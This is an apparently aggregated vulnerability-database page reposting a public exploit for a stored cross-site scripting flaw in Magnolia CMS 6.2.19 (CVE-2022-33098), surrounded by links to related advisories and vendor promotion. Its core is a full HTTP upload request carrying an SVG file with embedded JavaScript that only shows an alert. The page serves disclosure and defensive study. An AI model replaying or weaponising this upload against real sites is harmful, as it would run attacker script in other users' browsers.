Lucene search
K

Magnolia CMS 6.2.19 Cross Site Scripting

🗓️ 06 Jul 2022 00:00:00Reported by Giulio GarziaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 328 Views

Magnolia CMS 6.2.19 Stored Cross-Site Scripting (XSS) vulnerability through SVG upload

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Magnolia CMS 6.2.19 Cross Site Scripting Vulnerability
7 Jul 202200:00
zdt
ATTACKERKB
CVE-2022-33098
7 Jul 202219:15
attackerkb
Circl
CVE-2022-33098
7 Jul 202222:15
circl
CNNVD
Magnolia CMS 跨站脚本漏洞
6 Jul 202200:00
cnnvd
CNVD
Magnolia CMS Cross-Site Scripting Vulnerability
8 Jul 202200:00
cnvd
Check Point Advisories
Magnolia CMS Cross-Site Scripting (CVE-2022-33098)
7 Aug 202200:00
checkpoint_advisories
CVE
CVE-2022-33098
7 Jul 202218:58
cve
Cvelist
CVE-2022-33098
7 Jul 202218:58
cvelist
Exploit DB
Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS)
21 Jul 202200:00
exploitdb
EUVD
EUVD-2022-36154
3 Oct 202520:07
euvd
Rows per page
`# Exploit Title: Magnolia CMS <= 6.2.19 - Stored Cross-Site Scripting (XSS)  
# Date: 08/05/2022  
# Exploit Author: Giulio Garzia 'Ozozuz'  
# Vendor Homepage: https://www.magnolia-cms.com/  
# Software Link: https://nexus.magnolia-cms.com/service/local/repositories/magnolia.public.releases/content/info/magnolia/bundle/magnolia-community-demo-webapp/6.2.19/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip  
# Version: 6.2.19  
# Tested on: Linux, Windows, Docker  
# CVE : CVE-2022-33098  
  
Explanation  
Malicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource.  
  
===== REQUEST =====  
POST /magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/0/140/action/cba61868-b27a-4d50-983d-adf48b992be1 HTTP/1.1  
Host: 127.0.0.1:8080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------399178799522967017241464837908  
Content-Length: 620  
Connection: close  
Cookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: iframe  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
  
-----------------------------399178799522967017241464837908  
Content-Disposition: form-data; name="140_file"; filename="xss.svg"  
Content-Type: image/svg+xml  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert('POC - Magnolia CMS');  
</script>  
</svg>  
  
-----------------------------399178799522967017241464837908--  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2022 00:00Current
6.3Medium risk
Vulners AI Score6.3
EPSS0.00835
328